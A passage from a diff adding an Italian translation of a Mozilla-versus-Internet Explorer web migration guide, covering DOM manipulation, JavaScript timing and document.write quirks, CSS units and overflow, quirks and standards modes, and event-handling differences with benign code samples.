+  var myChildren = myXMLDoc.childNodes;
+  for (var i = 0; i &lt; myChildren.length; i++) {
+    if (myChildren[i].nodeType == 1){
+      // element node
+    };
+  };
+</pre>
+
+<p> </p>
+
+<h4 id="Generare_e_manipolare_contenuto" name="Generare_e_manipolare_contenuto">Generare e manipolare contenuto</h4>
+
+<p>Mozilla supporta i metodi più datati per aggiungere dinamicamente contenuto al DOM, come <code>document.write</code>, <code>document.open</code> w <code>document.close</code>. Mozilla supporta inoltre il metodo di Internet Explorer <code>innerHTML</code>, che può essere richiamato su quasi tutti i nodi. Non supporta <code>outerHTML</code> (che aggiunge marcatori intorno all'elemento e non ha equivalenti standard) e <code>innerText</code> (che modifica il valore del testo del nodo ed il cui comportamento viene ripreso in Mozilla usando <code>textContent</code>).</p>
+
+<p>Internet Explorer ha diversi metodi per la manipolazione del contenuto che non sono né standard né supportati da Mozilla, incluso la ricezione del valore, l'inserimento di testo e di elementi adiacenti ad un nodo, come <code>getAdjacentElement</code> e <code>insertAdjacentHTML</code>. La Tabella 3 mostra i modi con cui standard W3C e Mozilla manipolano il contenuto, ognuno dei quali è metodo di un nodo DOM.</p>
+
+<table class="standard-table">
+ <caption>Tabella 3. Metodi usati da Mozilla per manipolare contenuti</caption>
+ <tbody>
+  <tr>
+   <th>Metodo</th>
+   <th>Descrizione</th>
+  </tr>
+  <tr>
+   <td>appendChild( aNode )</td>
+   <td>Crea un nuovo nodo figlio. Ritorna un riferimento al nuovo nodo figlio.</td>
+  </tr>
+  <tr>
+   <td>cloneNode( aDeep )</td>
+   <td>Crea una copia del nodo sul quale viene chiamato e ritorna la copia. Se aDeep è true, la copia viene estesa all'intero sottoalbero del nodo.</td>
+  </tr>
+  <tr>
+   <td>createElement( aTagName )</td>
+   <td>Crea e ritorna un nuvo nodo DOM senza genitori, del tipo specificato da aTagName.</td>
+  </tr>
+  <tr>
+   <td>createTextNode( aTextValue )</td>
+   <td>Crea e ritorna un nuovo nodo di testo DOM senza genitori, con il valore specificato da aTextValue.</td>
+  </tr>
+  <tr>
+   <td>insertBefore( aNewNode, aChildNode )</td>
+   <td>Inserisce aNewNode prima di aChildNode, il quale deve essere figlio del nodo corrente.</td>
+  </tr>
+  <tr>
+   <td>removeChild( aChildNode )</td>
+   <td>rimuove aChildNode e ritorna un riferimento ad esso</td>
+  </tr>
+  <tr>
+   <td>replaceChild( aNewNode, aChildNode )</td>
+   <td>Sostituisce aChildNode con aNewNode e ritorna un riferimento al nodo rimosso.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Frammenti_del_documento" name="Frammenti_del_documento">Frammenti del documento</h4>
+
+<p>per ragioni di performance, è possibile creare il documento in memoria piuttosto che lavorare nel DOM del documento esistente. La specifica DOM Level 1 Core ha introdotto i <strong>document fragments</strong> (frammenti di documento), ovvero documenti leggeri che contengono un sottoinsieme della normale interfaccia del documento. Ad esempio, <code>getElementById</code> non esiste, al contrario di <code>appendChild</code>. Inoltre è possbile aggiungere facilmente frammenti di documento al documento esistente.</p>
+
+<p>Mozilla crea frammenti i documento attraverso <code>document.createDocumentFragment()</code>, che ritorna un frammento vuoto.</p>
+
+<p>L'implementazione di Internet Explorer dei frammenti, comunque, non si attiene allo standard web del W3C e semplicemente ritorna un documento regolare.</p>
+
+<h3 id="Differenze_di_JavaScript" name="Differenze_di_JavaScript">Differenze di JavaScript</h3>
+
+<p>Molte differenze tra Mozilla e Internet Explorer sono solitamente notate in JavaScript. IN ogni caso, ilproblema risiede solitamente nelle API che un browser fornisce a JavaScript, come ad esempio gli agganci al DOM. I due browser possiedono alcune differenze nel linguaggio JavaScript stesso; i problemi incontrati sono spesso legati a fattori temporali.</p>
+
+<p> </p>
+
+<h4 id="Differenza_di_Date_in_JavaScript" name="Differenza_di_Date_in_JavaScript">Differenza di Date in JavaScript</h4>
+
+<p>L'unica differenza di <code>Date</code> è il metodo <code>getYear</code>. Secondo le specifiche ECMAScript (che sono le specifiche seguite da JavaScript), il metodo non è Y2k-compliant, e l'esecuzione di <code>new Date().getYear()</code> nel 2004 ritorna "104". Per la specifica ECMAScript, <code>getYear</code> ritorna l'anno meno 1900, originariamente inteso come "98" per "1998". <code>getYear</code> è assunto come deprecato nella versione 3 di ECMAScript ed è sostituito da <code>getFullYear()</code>. Internet Explorer ha modificato <code>getYear()</code> in modo da funzionare nella stessa maniera di <code>getFullYear()</code> rendendolo Y2K-compliant, mentre Mozilla ha mantenuto il metodo standard.</p>
+
+<h4 id="Differenze_nell.27esecuzione_di_JavaScript" name="Differenze_nell.27esecuzione_di_JavaScript">Differenze nell'esecuzione di JavaScript</h4>
+
+<p>Browser differenti eseguono JavaScript in maniera differente. Ad esempio, il codice seguente assume che il nodo <code>div</code> esista al momento in cui il blocco di codice <code>script</code> viene eseguito:</p>
+
+<pre>...
+&lt;div id="foo"&gt;Loading...&lt;/div&gt;
+
+&lt;script&gt;
+  document.getElementById("foo").innerHTML = "Done.";
+&lt;/script&gt;
+</pre>
+
+<p>Ovviamente, ciò non è garantito. Per assicurarsi che l'elemento esisya, è necessario usare il gestore di evento <code>onload</code> nel tag <code>&lt;body&gt;</code>:</p>
+
+<pre>&lt;body onload="doFinish();"&gt;
+
+&lt;div id="foo"&gt;Loading...&lt;/div&gt;
+
+&lt;script&gt;
+  function doFinish() {
+    var element = document.getElementById("foo");
+    element.innerHTML = "Done.";
+  }
+&lt;/script&gt;
+...
+</pre>
+
+<p>Problemi collegati al tempo sono inoltre legati all'hardware -- sistemi più lenti possono manifestare dei bug che invece sistemi più veloci nascondono. Un esempio concreto è <code>window.open</code>, che apre una nuova finestra:</p>
+
+<pre>&lt;script&gt;
+  function doOpenWindow(){
+    var myWindow = window.open("about:blank");
+    myWindow.location.href = "http://www.ibm.com";
+  }
+&lt;/script&gt;
+</pre>
+
+<p>Il problema con il codice è dato dal fatto che <code>window.open</code> è asincrona -- non blocca l'esecuzione di JavaScript finché la finestra non ha terminato il caricamento. Per questo, è possibile eseguire le linee di codice dopo <code>window.open</code> anche prima che la nuova finestra abbia terminato. Si può cercare di risolvere il problema usando un gestore <code>onload</code> nella nuova finestra e quindi tornare indietro alla finestra progenitrice (usando <code>window.opener</code>)</p>
+
+<h4 id="Differenza_nella_generazione_di_HTML_con_JavaScript" name="Differenza_nella_generazione_di_HTML_con_JavaScript">Differenza nella generazione di HTML con JavaScript</h4>
+
+<p>Javascript può, attraverso <code>document.write</code>, generare HTML al volo da una stringa. Il primo problema qui si ha quando JavaScript, inserito all'interno del documento HTML (cioè all'interno dei tag <code>&lt;script&gt;</code>), genera HTML che contiene un tag <code>&lt;script&gt;</code>. Se il documento è nel modo di impaginazione <strong>strict</strong>, verrà effettuato il parsing di <code>&lt;script&gt;</code> all'interno della stringa fino al tag di chiusura di <code>&lt;script&gt;</code>. Il codice seguente illustra meglio questa situazione:</p>
+
+<pre>&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;
+...
+&lt;script&gt;
+  document.write("&lt;script type='text\/javascript'&gt;alert('Hello');&lt;\/script&gt;")
+&lt;/script&gt;
+</pre>
+
+<p>Dato che la pagina è in modo <strong>strict</strong>, il parser di Mozilla vedrà prima <code>&lt;script&gt;</code> ed effettuerà il parsing fino a trovare un tag di chiusura, che sarà la prima occorrenza di <code>&lt;/script&gt;</code>. Questo perché il parser non è a conoscenza di JavaScript (o altri linguaggi) nella modalità <strong>strict</strong>. Nel modo <strong>quirks</strong>, il parser tiene conto di JavaScript nella sua esecuzione (il che lo rallenta). Internet Explorer è sempre in modalità <strong>quirks</strong>, poiché non supporta veramente XHTML. Per fare in modo che il funzionamento sia lo stesso in Mozilla, basta separare la stringa in due parti:</p>
+
+<pre>&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;
+...
+&lt;script&gt;
+  document.write("&lt;script type='text\/javascript'&gt;alert('Hello');&lt;/" + "script&gt;")
+&lt;/script&gt;
+</pre>
+
+<h4 id="Debug_di_JavaScript" name="Debug_di_JavaScript">Debug di JavaScript</h4>
+
+<p>Mozilla fornisce diversi modi per il debugging di problemi legati a JavaScript trovati in applicazioni create per Internet Explorer. Il primo strumento è la console JavaScript integrata, mostrata in figura 1, dove errori ed avvertenze sono registrate. Vi si può accedere in Mozilla andando su <strong>Tools -&gt; Web Development -&gt; JavaScript Console</strong> o in Firefox (il prodotto solo browser di Mozilla) da <strong>Tools -&gt; JavaScript Console</strong>.</p>
+
+<p><br>
+ Figura 1. console JavaScript</p>
+
+<p><img alt="Console Javascript" class="internal" src="/@api/deki/files/1601/=Migrationguide-jsconsole.jpg"></p>
+
+<p>La console JavaScript può mostrare l'intera lista registrata o solamente errori, avvertenze e messaggi. Il messaggio di errore in Figura 1 indica che, su aol.com, la linea 95 prova ad accedere ad una variabile non definita chiamata is_ns70. Cliccando sil link si apre la finestra di visualizzazione sorgente di Mozilla con la riga interessata dall'errore evidenziata.</p>
+
+<p>La console permette inoltre di valutare espressioni JavaScript. Per fare una prova della sinatssi JavaScript, inserire <code>1+1</code> nel campo di input e premere <strong>Evaluate</strong>,come mostrato dalla Figura 2.</p>
+
+<p>Figura 2. valutazione di codice JavaScript</p>
+
+<p><img alt="JavaScript Console evaluating" class="internal" src="/@api/deki/files/1600/=Migrationguide-jsconsole-eval.jpg"></p>
+
+<p>Il motore JavaScript di Mozilla ha un supporto integrato per il debugging, ovvero fornisce strumenti potenti per gli sviluppatori JavaScript. Venkman, mostrato nella Figura 3, è un potente debugger JavaScript multipiattaforma integrato con Mozilla. usualmente viene incluso insieme con le varie release di Mozilla; si può trovare in <strong>Tools -&gt; Web Development -&gt; JavaScript Debugger</strong>. Firefox non include ill debugger; invece, si può installarlo dalla <a class="external" href="http://www.mozilla.org/projects/venkman/">pagina del progetto Venkman</a>. Sono disponibili anche dei tutorial nella pagina di sviluppo, situati nella <a class="external" href="http://www.hacksrus.com/%7Eginda/venkman/">pagina di sviluppo Venkman</a>.</p>
+
+<p>Figura 3. Debugger JavaScript di Mozilla</p>
+
+<p><img alt="Mozilla's JavaScript debugger" class="internal" src="/@api/deki/files/1603/=Migrationguide-venkman.jpg"></p>
+
+<p>Il debugger JavaScript può effettuare il debug di JavaScript in esecuzione nella finestra browser di Mozilla. Supporta molte caratteristiche standard per il debugging, come la gestione breakpoint, l'inspezione dello stack di chiamata, e l'ispezione di variabile/oggetto. Tutte le caratteristiche sono accedibili attraverso l'interfaccia utente oppure tramite la console interattiva del debugger. Con la console, può essere eseguito codice JavaScript arbitrario nello stesso scope del codice JavaScript in corso di debugging.</p>
+
+<h3 id="Differenze_sui_CSS" name="Differenze_sui_CSS">Differenze sui CSS</h3>
+
+<p>I prodotti basati su Mozilla hanno il più forte supporto per i fogli di stile a cascata (CSS), inclusi la gran parte di CSS1, CSS2.1 e parti di CSS3, in rapporto ad Internet Explorer così come con altri browser.</p>
+
+<p>Per molti dei problemi menzionati sotto, Mozilla aggiunge una riga di errore o di avvertenza nella console JavaScript. Per problemi legati a CSS, è sufficiente quindi controllare la console JavaScript.</p>
+
+<h4 id="Mimetypes_.28Quando_i_file_CSS_non_vengono_applicati.29" name="Mimetypes_.28Quando_i_file_CSS_non_vengono_applicati.29">Mimetypes (Quando i file CSS non vengono applicati)</h4>
+
+<p>Il più comune problema legato ai CSS è dato dal fatto che le definizioni dei CSS all'interno di file CSS referenziati non vengono applicate. Questo solitamente a causa del server che invia un errato mimetype per il file CSS. Le specifiche CSS indicano che il file CSS deve essere servito con il tipo mime <code>text/css</code>. Mozilla rispetta questa indicazione e carica solo file CSS con questo mimetype se la pagina web è visualizzata con in modalità strettamente standard. Internet Explorer carica sempre il file CSS, senza tenere conto del mimetype con il quale viene servito. Le pagine web vengono considerate nel modo strettamente standard quando iniziano con un doctype <strong>strict</strong>. Discuteremo dei doctype nella sezione seguente.</p>
+
+<h4 id="CSS_e_unit.C3.A0" name="CSS_e_unit.C3.A0">CSS e unità</h4>
+
+<p>Molte applicazioni web non usano unità con i propri CSS, specialmente se viene utilizzato Javascript per impostare i CSS. Mozilla tollera questo comportamento, nel momento in cui la pagina non viene visualizzata nel modo <strong>strict</strong>. Poiché Internet Explorer non supporta XHTML, non considera per niente se vengono specificate delle unità. Se la pagina è in modo strettamente standard, e nessuna unità viene usata, Mozilla ignora lo stile:</p>
+
+<pre class="eval">&lt;DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+  "<span class="nowiki">http://www.w3.org/TR/html4/strict.dtd</span>"&gt;
+&lt;html&gt;
+  &lt;head&gt;
+   &lt;meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"&gt;
+   &lt;title&gt;CSS and units example&lt;/title&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    // works in strict mode
+    &lt;div style="width: 40<span class="boldcode">px</span>; border: 1px solid black;"&gt;
+      Text
+    &lt;/div&gt;
+
+    // will fail in strict mode
+    &lt;div style="width: 40; border: 1px solid black;"&gt;
+      Text
+    &lt;/div&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>Dato che l'esempio mostrato ha un doctype <strong>strict</strong>, la pagina viene visualizzata con modo di impaginazione strettamente standard. Il primo div ha una lunghezza di 40px, poiché usa una unità, ma il secondo div non avrà una lunghezza, cioè tornerà alla lunghezza di default di 100%, la qual cosa accadrebbe se la stessa lunghezza fosse impostata tramite JavaScript.</p>
+
+<h4 id="JavaScript_e_CSS" name="JavaScript_e_CSS">JavaScript e CSS</h4>
+
+<p>Dato che Mozilla supporta gli standard CSS, supporta inoltre lo standard DOM CSS per impostare i CSS attraverso JavaScript. Si può accedere, rimuovere e cambiare la regola di un elemento CSS attraverso il membro <code>style</code> dell'elemento:</p>
+
+<pre>&lt;div id="myDiv" style="border: 1px solid black;"&gt;
+  Text
+&lt;/div&gt;
+
+&lt;script&gt;
+  var myElm = document.getElementById("myDiv");
+  myElm.style.width = "40px";
+&lt;/script&gt;
+</pre>
+
+<p>In questo modo si può raggiungere ogni attributo CSS. Ancora, se la pagina Web è in modo <em>strict</em>, va impostata una unità o Mozilla ignorerà il comando. Nella richiesta di un valore, diciamo per <code>.style.width</code>, in Mozilla ed Internet Explorer, il valore ritornato conterrà l'unità, il che implica il ritorno di una stringa. La stringa può essere convertita attraverso <code>parseFloat("40px")</code>.</p>
+
+<h4 id="Differenze_nell.27overflow_dei_CSS" name="Differenze_nell.27overflow_dei_CSS">Differenze nell'overflow dei CSS</h4>
+
+<p>CSS aggiunge la nozione di <em>overflow</em> (<em>traboccamento</em>), che permette di definire come gestire un traboccamento; ad esempio, quando il contenuto di un <code>div</code> con una specifica altezza risulta più alto. Lo standard CSS definisce che se non è impostato alcun comportamento nel caso di overflow, il contenuto del <code>div</code> traboccherà dallo stesso. In ogni caso, Internet Explorer non rispetta questa indicazione e va ad espandere il <code>div</code> oltre l'altezza impostata per poter riprendere il contenuto. Sotto un esempio che mostra la differenza:</p>
+
+<pre>&lt;div style="height: 100px; border: 1px solid black;"&gt;
+  &lt;div style="height: 150px; border: 1px solid red; margin: 10px;"&gt;
+    a
+  &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>Come si vede dalla Figura 4, Mozilla agisce secondo le specifiche dello standard W3C. Lo standard dice che, in questo caso, il <code>div</code> interno trabocca verso il basso poiché il suo contenuto ha una maggiore altezza relativa al suo contenitore. Se si preferisce il comportamento di Internet Explorer, semplicemente non va specificata alcuna altezza per l'elemento esterno.</p>
+
+<p>Figura 4. overflow DIV</p>
+
+<p><img alt="DIV Overflow" class="internal" src="/@api/deki/files/1602/=Migrationguide-overflow.jpg"></p>
+
+<h4 id="differenza_di_hover" name="differenza_di_hover">differenza di hover</h4>
+
+<p>Il comportamento non standard del selettore hover in Internet Exloprer si può riconoscere in diversi siti web. Usualmente si manifesta cambiando lo stile del testo se attraversato dal mouse con Mozilla, ma non con Internet Explorer. Questo perché il selettore <code>a:hover</code> in Internet Explorer considera <code>&lt;a href=""&gt;...&lt;/a&gt;</code> ma non <code>&lt;a name=""&gt;...&lt;/a&gt;</code>, che imposta una ancora in HTML. Il cambio di testo avviene perché gli autori incapsulano l'area con un marcatore di impostazione ancora:</p>
+
+<pre>CSS:
+  a:hover {color: green;}
+
+HTML:
+  &lt;a href="foo.com"&gt;This text should turn green when you hover over it.&lt;/a&gt;
+
+  &lt;a name="anchor-name"&gt;
+    This text should change color when hovered over, but doesn't
+    in Internet Explorer.
+  &lt;/a&gt;
+</pre>
+
+<p>Mozilla segue le specifiche CSS correttamente e cambia il colore in verde in questo esempio. SI possono usare due maniere per far agire Mozilla come Internet Explorer a non cambiare il colore del testo al passaggio del mouse:</p>
+
+<ul>
+ <li>In primo luogo, è possibile cambiare la regola CSS in <code>a:link:hover {color: green;}</code>, che cambierà solo il colore se l'elemento è un link (ha un attributo <code>href</code>).</li>
+ <li>Alternativamente, si può cambiare il marcatore e chiudere <code>&lt;a /&gt;</code> prima dell'inizio del testo -- in questo modo l'ancora continuerà a funzionare.</li>
+</ul>
+
+<h3 id="Quirks_vs._modo_standard" name="Quirks_vs._modo_standard">Quirks vs. modo standard</h3>
+
+<p>Le versioni più antiquate di alcuni browser, come Internet Exlporer 4, impaginano insernedo artefatti in determinate condizioni. Mentre Mozilla tende ad essere un browser aderente agli standard, fornisce tre modi per sopportare pagine Web meno recenti realizzate con in mente questi comportamenti particolari. Recapito e contenuto della pagina determinano quale modo sarà utilizzato. Mozilla indicherà il modo di impaginazione in <strong>View -&gt; Page Info</strong> (o premendo <code>Ctrl+I</code>); Firefox lo mostrerà in <strong>Tools -&gt; Page Info</strong>.</p>
+
+<p><span class="comment">The mode in which a page is located depends on its doctype.</span></p>
+
+<p>Un Doctype (abbreviazione per document type declaration) è simile a questo:</p>
+
+<p><code>&lt;!DOCTYPE HTML PUBLIC <span style="color: blue;">"-//W3C//DTD HTML 4.01 Transitional//EN"</span> <span style="color: green;">"<span class="nowiki">http://www.w3.org/TR/html4/loose.dtd</span>"</span>&gt;</code></p>
+
+<p>La sezione in blu viene chiamata <em>identificatore pubblico</em> (<em>public identifier</em>), la parte vedere è <em>l'identificatore di sistema</em> (<em>system identifier</em>), nella forma di URI.</p>
+
+<h4 id="Modo_standard" name="Modo_standard">Modo standard</h4>
+
+<p>Il modo standard di impaginazione è qullo più restrittivo -- l'impaginazione avviene attenendosi alle specifiche HTML e CSS del W3C e non saranno supportati artefatti. Mozilla lo utilizza alle seguenti condizioni:</p>
+
+<ul>
+ <li>se una pagina viene inviata con un mimetype <code>text/xml</code> o altri XML o XHTML,</li>
+ <li>per ogni doctype "DOCTYPE HTML SYSTEM" (ad esempio, <code>&lt;!DOCTYPE HTML SYSTEM "<span class="nowiki">http://www.w3.org/TR/REC-html40/strict.dtd</span>"&gt;</code>), ad eccezione del doctype IBM,</li>
+ <li>per doctype sconosciuti o doctype privi di DTD.</li>
+</ul>
+
+<h4 id="Modo_quasi_standard" name="Modo_quasi_standard">Modo quasi standard</h4>
+
+<p>Mozilla ha introdotto il modo <em>quasi standard</em> (almost standard mode) per una ragione: una sezione nella specifica CSS 2 rompe i design basati su un preciso schema fatto di piccole immagini in celle di tabelle. Invece di fornire una immagine intera all'utente, ogni piccola immagine finisce con un piccolo spazio a seguire. La vecchia homepage IBM mostrata in Figura 5 offre un esempio di questo comportamento.</p>
+
+<p>Figura 5. Spazio tra immagini</p>
+
+<p><img alt="Image Gap" class="internal" src="/@api/deki/files/1599/=Migrationguide-imagegap.jpg"></p>
+
+<p>Il modo quasi standard agisce quasi esattamente come il modo standard, fatta eccezione nel trattamento di immagini con un problema di spazio finale. Il problema occorre solitamente nelle pagine aderenti agli standard e causa la loro incorretta visualizzazione.</p>
+
+<p>Mozilla usa il modo quasi standard alle seguenti condizioni:</p>
+
+<ul>
+ <li>per ogni doctype "loose" (ad esempio, <code>&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"&gt;</code>, <code>&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "<span class="nowiki">http://www.w3.org/TR/html4/loose.dtd</span>"&gt;</code>),</li>
+ <li>per il doctype IBM <code>&lt;!DOCTYPE html SYSTEM "<span class="nowiki">http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd</span>"&gt;</code>)</li>
+</ul>
+
+<p><br>
+ Per altre informazioni, consultare l'articolo riguardante il <a href="/it/Immagini,_Tabelle,_e_Spazi_Misteriosi" title="it/Immagini,_Tabelle,_e_Spazi_Misteriosi"> problema di spazio tra immagini</a></p>
+
+<h4 id="Modo_Quirks" name="Modo_Quirks">Modo Quirks</h4>
+
+<p>Ad oggi, il Web è pieno di marcatori HTML invalidi, così come altri che funzionano solo a causa di bug di alcuni browser. I vecchi browser Netscape, nel periodo della loro leadership di mercato, contenevano bug. Quando fece il suo ingresso Internet Explorer, cercò di imitare gli stessi bug per poter funzionare con i contenuti dell'epoca. Con l'introduzione di nuovi browser nel mercato, molti di questi bug originali, solitamente chiamati <em>quirks</em> (artefatti), sono stati mantenuti per avere retrocompatibilità. Mozilla supporta molti di questi nel suo modo di impaginazione quirks. Si noti che a causa di questi artefatti, i documenti vengono impaginati più lentamente che se fossero stati aderenti agli standard. Molte pagine web sono trattate in questa maniera.</p>
+
+<p>Mozilla usa il modo quirks alle seguenti condizioni:</p>
+
+<ul>
+ <li>Quando non è specificato alcun doctype</li>
+ <li>Per i doctype senza identificatore di sistema (ad esempio, <code>&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"&gt;</code>)</li>
+</ul>
+
+<p>Per approfondimenti, si vedano: <a href="/it/Funzionamento_del_Quirks_Mode_di_Mozilla" title="it/Funzionamento_del_Quirks_Mode_di_Mozilla">Funzionamento del Quirks Mode di Mozilla</a> e <a href="/it/Sniffing_DOCTYPE_di_Mozilla" title="it/Sniffing_DOCTYPE_di_Mozilla">Sniffing DOCTYPE di Mozilla</a></p>
+
+<h3 id="Differenze_nella_gestione_eventi" name="Differenze_nella_gestione_eventi">Differenze nella gestione eventi</h3>
+
+<p>Mozilla e Internet Explorer sono completamente differenti nell'area degli eventi Il modello eventi di Mozilla segue i modelli W3C e Netscale. In Internet Explorer, se una funzione viene chiamata tramite evento, ha accesso all'oggetto <code>event</code> attraverso <code>window.event</code> Mozilla passa un oggetto <code>event</code> ai gestori di eventi, i quali devono specificatamente passare l'oggetto alla funzione chiamata tramite un argomento.</p>
+
+<p>Ecco un esempio di gestione cross-browser (nota: implica l'impossibilità di definire una vasriabile globale chiamata <code>event</code> nel proprio codice):</p>
+
+<pre>&lt;div onclick="handleEvent(event);"&gt;Click me!&lt;/div&gt;
+
+&lt;script&gt;
+  function handleEvent(aEvent) {
+    var myEvent = window.event ? window.event : aEvent;
+  }
+&lt;/script&gt;
+</pre>
+
+<p>Funzioni e proprietà esposte dell'oggetto event sono solitamente chiamate in maniera differente in Mozilla e Internet Explorer, come mostrato dalla Tabella 4.</p>
+
+<table class="standard-table">
+ <caption>Tabella 4. Differenze delle proprietà di event tra Mozilla e Internet Explorer</caption>
+ <tbody>
+  <tr>
+   <th>Nome Internet Explorer</th>
+   <th>Nome Mozilla</th>
+   <th>Descrizione</th>
+  </tr>
+  <tr>
+   <td>altKey</td>
+   <td>altKey</td>
+   <td>Proprietà booleana ritornata in caso di pressione del tasto ALT durante l'evento.</td>
+  </tr>
+  <tr>
+   <td>cancelBubble</td>
+   <td>stopPropagation()</td>
+   <td>Usata per fermate la propagazione dell'evento verso la radice dell'alberoUsed to stop the event.</td>
+  </tr>
+  <tr>
+   <td>clientX</td>
+   <td>clientX</td>
+   <td>Ordinata dell'evento, in relazione al viewport dell'elemento.</td>
+  </tr>
+  <tr>
+   <td>clientY</td>
+   <td>clientY</td>
+   <td>Ascissa dell'evento, in relazione al viewport dell'elemento.</td>
+  </tr>
+  <tr>
+   <td>ctrlKey</td>
+   <td>ctrlKey</td>
+   <td>proprietà ritornata in caso di pressione del tasto CTRL durante l'evento.</td>
+  </tr>
+  <tr>
+   <td>fromElement</td>
+   <td>relatedTarget</td>
+   <td>per eventi del mouse, l'elemento dal quale il mouse si è spostato.</td>
+  </tr>
+  <tr>
+   <td>keyCode</td>
+   <td>keyCode</td>
+   <td>Per eventi da tastiera, il numero che rappresentante il tasto premuto. Per eventi del mouse è 0. Per eventi keypress (non keyup o keydown) riguardanti tasti che producono output, l'equivalente Mozilla è charCode, non keyCode.</td>
+  </tr>
+  <tr>
+   <td>returnValue</td>
+   <td>preventDefault()</td>
+   <td>usato per prevenire l'esecuzione dell'azione di default dell'evento.</td>
+  </tr>
+  <tr>
+   <td>screenX</td>
+   <td>screenX</td>
+   <td>Ordinata dell'evento, in relazione allo schermo.</td>
+  </tr>
+  <tr>
+   <td>screenY</td>
+   <td>screenY</td>
+   <td>Ascissa dell'evento, in relazione allo schermo.</td>
+  </tr>
+  <tr>
+   <td>shiftKey</td>
+   <td>shiftKey</td>
+   <td>Proprietà booleana ritornata in caso di pressione del tasto SHIFT durante l'evento.</td>
+  </tr>
+  <tr>
+   <td>srcElement</td>
+   <td>target</td>
+   <td>Elemento dal quale l'evento ha avuto origine.</td>
+  </tr>
+  <tr>
+   <td>toElement</td>
+   <td>currentTarget</td>
+   <td>Per eventi del mouse, l'elemento verso il quale il mouse si è mosso.</td>
+  </tr>
+  <tr>
+   <td>type</td>
+   <td>type</td>
+   <td>Ritorna il nome dell'evento.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Aggiungere_gestori_di_eventi" name="Aggiungere_gestori_di_eventi">Aggiungere gestori di eventi</h4>
+
+<p>Mozilla supporta due modi per aggiungere eventi attraverso JavaScript. Il primo, supportato da tutti i browser, imposta le proprietà event direttamente sugli oggetti. Per impostare un gestore di evento <code>click</code>, un riferimento di funzione viene passato alla proprietà <code>onclick</code> dell'oggetto:</p>
+
+<pre>&lt;div id="myDiv"&gt;Click me!&lt;/div&gt;
+
+&lt;script&gt;
+  function handleEvent(aEvent) {
+    // if aEvent is null, means the Internet Explorer event model,
+    // so get window.event.
+    var myEvent = aEvent ? aEvent : window.event;
+  }
+
+  function onPageLoad(){
+    document.getElementById("myDiv").onclick = handleEvent;
+  }
+&lt;/script&gt;
+</pre>
+
+<p>Mozilla supporta pienamente il metodo standard del W3C di aggiungere dei <em>listener</em> (letterarmente <em>ascoltatori</em>) ai nodi DOM. L'uso dei metodi <code>addEventListener()</code> e <code>removeEventListener()</code> ha il beneficio di permettere l'impostazione di molteplici listener per lo stesso tipo di evento. Entrambi i metodi richiedono tre paramentri: Il tipo di evento, una riferimento a funzione, ed un valore booleano che indica se il listener debba o meno catturare eventi nella sua fase di cattura. Se il valore del booleano è <em>false</em>, verranno catturati solo gli eventi propagati. Gli eventi W3C hanno tre fasi: cattura (<em>capturing</em>), obbiettivo (<em>at target</em>) e propagazione (<em>bubbling</em>). Ogni oggetto evet ha un attributo <code>eventPhase</code> che indica la fase numericamente (a partire da 0). Ogni qualvolta viene eseguito un evento, esso parte dall'elemento più esterno del DOM, quello alla radice dell'albero DOM. L'evento poi viaggia all'interno del DOM usando il percorso più diretto verso l'obbiettivo, realizzando la fase di capturing. Appena arriva, l'evento si trova nella fase obbiettivo. Dopo il suo arrivo, effettua un nuovo viaggio nell'albero verso il nodo più esterno: la fase di propagazione. Il modello eventi di Internet Explorer ha solo la fase di propagazione; questo significa che impostare il terzo parametro come <em>false</em> equivale ad imitare il comportamento di Internet Explorer:</p>
+
+<pre>&lt;div id="myDiv"&gt;Click me!&lt;/div&gt;
+
+&lt;script&gt;
+
+  function handleEvent(aEvent) {
+    // if aEvent is null, it is the Internet Explorer event model,
+    // so get window.event.
+    var myEvent = aEvent ? aEvent : window.event;
+  }
+
+  function onPageLoad() {
+    var element = document.getElementById("myDiv");
+    element.addEventListener("click", handleEvent, false);
+  }
+&lt;/script&gt;
+</pre>
+
+<p>Un vantaggio di <code>addEventListener()</code> e <code>removeEventListener()</code> rispetto ad impostare proprietà è la possibilità di impostare molteplici listener per lo stesso evento, ognuno dei quali richiama una funzione. Per questo la rimozione di un listener richiede che i tre parametri siano gli stessi usati per la sua aggiunta.</p>
+
+<p>Mozilla non supporta il metodo di Internet Explorer di conversione dei tag &lt;script&gt; in gestori di event, che estende &lt;script&gt; con gli attributi <code>for</code> e <code>event</code> (vedi Tabella 5). Inoltre non supporta i metodi <code>attachEvent</code> e <code>detachEvent</code>. Al loro posto si consiglia l'utilizzo dei metodi <code>addEventListener</code> e <code>removeEventListener</code>. Internet Explorer non supporta le specifiche degli eventi del W3C</p>
+
+<table class="standard-table">
+ <caption>Tabella 5. Differenze dei metodi di eventi tra Mozilla e Internet Explorer</caption>
+ <tbody>
+  <tr>
+   <th>Metodo Internet Explorer</th>
+   <th>Metodo Mozilla</th>
+   <th>Descrizione</th>
+  </tr>
+  <tr>
+   <td>attachEvent(aEventType, aFunctionReference)</td>
+   <td>addEventListener(aEventType, aFunctionReference, aUseCapture)</td>
+   <td>Aggiunge un listener di evento ad un elemento DOM.</td>
+  </tr>
+  <tr>
+   <td>detachEvent(aEventType, aFunctionReference)</td>
+   <td>removeEventListener(aEventType, aFunctionReference, aUseCapture)</td>
+   <td>Rimuove un listener di evento da un elemento DOM.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Rich_text_editing" name="Rich_text_editing">Rich text editing</h3>
+
